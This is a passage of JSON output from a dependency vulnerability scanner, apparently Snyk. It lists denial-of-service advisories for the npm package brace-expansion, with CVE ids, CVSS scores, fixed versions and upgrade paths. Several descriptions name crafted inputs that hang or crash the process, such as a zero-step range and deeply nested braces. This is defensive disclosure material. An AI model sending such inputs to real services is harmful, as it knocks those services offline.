"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/map-workspaces@3.0.6",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/map-workspaces@5.0.3",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
